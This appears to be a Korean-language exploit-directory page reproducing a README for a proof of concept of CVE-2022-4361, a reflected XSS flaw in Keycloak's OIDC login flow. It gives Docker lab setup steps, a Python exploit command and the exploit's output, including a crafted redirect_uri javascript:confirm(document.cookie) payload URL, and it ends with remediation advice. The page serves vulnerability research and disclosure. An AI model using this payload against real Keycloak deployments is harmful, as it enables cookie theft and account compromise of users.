Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-4361 — Keycloak의 OIDC 인증 흐름에서 반사형 XSS 취약점인 CVE-2022-4361에 대한 개념 증명 익스플로잇으로, Docker 기반 테스트 환경과 Python 익스플로잇 스크립트를 포함합니다. | Kitploit
도구/GitHubGitHub/faccimatteo/cve-2022-4361
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationAPI Security
GitHubfaccimatteo/cve-2022-4361

CVE-2022-4361

Keycloak의 OIDC 인증 흐름에서 반사형 XSS 취약점인 CVE-2022-4361에 대한 개념 증명 익스플로잇으로, Docker 기반 테스트 환경과 Python 익스플로잇 스크립트를 포함합니다.

저장소 보기
1410개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-4361

설명

이 저장소는 CVE-2022-4361에 대한 PoC를 포함합니다.
모든 크레딧은 발견의 원저자인 mulliken에게 돌아갑니다;

중요: 이 PoC는 SAML 인증 프로토콜의 AssertionConsumerServiceURL 값에 대한 경우를 다루지 않으므로 완전하지 않습니다. 현재는 OIDC 경우만 다룹니다.

단계

  1. 이 저장소를 클론합니다.
git clone https://github.com/faccimatteo/CVE-2022-4361.git && cd ./CVE-2022-4361 
  1. Docker Compose를 사용하여 취약한 Keycloak 버전을 설정합니다.
docker compose up -d

인프라가 사용 가능하고 접근 가능할 때까지 기다립니다.

이 PoC에서는 Keycloak이 어떤 웹 애플리케이션과도 통합되어 있지 않으므로, 전체 Keycloak 인증 URL을 지정해야 합니다 (테스트 영역이 올바르게 설정된 후).

이 테스트 환경에서의 취약점은 다음 URL로 테스트할 수 있습니다.

python3 ./CVE-2022-4361.py --url http://localhost:8080/realms/test-realm/protocol/openid-connect/auth\?client_id\=test-client\&redirect_uri\=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F\&state\=f0cd8010-72b1-476d-823a-b72e2106db1d\&response_mode\=fragment\&response_type\=code\&scope\=openid\&nonce\=eb117e13-b09e-49b1-a086-3ebb69d6ca3d\&code_challenge\=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w\&code_challenge_method\=S256
[+] Detected Keycloak OIDC configuration in the authentication flow for http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Frealms%2Ftest-realm%2Faccount%2F%23%2F&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=fragment&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256.
[+] Crafted malicious Keycloak authentication URL: http://localhost:8080/realms/test-realm/protocol/openid-connect/auth?client_id=test-client&redirect_uri=javascript:confirm(document.cookie)&state=f0cd8010-72b1-476d-823a-b72e2106db1d&response_mode=form_post&response_type=code&scope=openid&nonce=eb117e13-b09e-49b1-a086-3ebb69d6ca3d&code_challenge=NhJQK3qf9T_85Rj0aYg2JbUm3Df23m1ZG3q1goqwU8w&code_challenge_method=S256
[+] The Keycloak instance used by the target is likely to be VULNERABLE to CVE-2022-4361!
[*] Opening malicious login page in your default web browser...

아래 스크린샷에서 볼 수 있듯이 악성 로그인 페이지가 있는 브라우저 창이 열립니다.

조작된 로그인 페이지

피해자가 유효한 자격 증명을 제공하고 (keycloak-config/test-realm.json에 있음) 'Sign In' 버튼을 클릭하면, 반사형 XSS 공격이 전달됩니다.
피해자가 이미 애플리케이션에 로그인한 상태에서도 공격이 성공한다는 점에 주목할 가치가 있습니다.

XSS 전달됨

수정

  • Keycloak을 21.1.1보다 높은 버전으로 업그레이드하십시오.
  • 또한 프로덕션 환경에서 redirect_uri에 와일드카드 * 값을 절대 설정하지 마십시오.

TODO

현재 이 PoC는 OIDC 인증 흐름을 사용하여 구성된 Keycloak 경우만 다룹니다.
향후 배포에서는 SAML 인증 프로토콜이 도입될 예정입니다.

도구 다운로드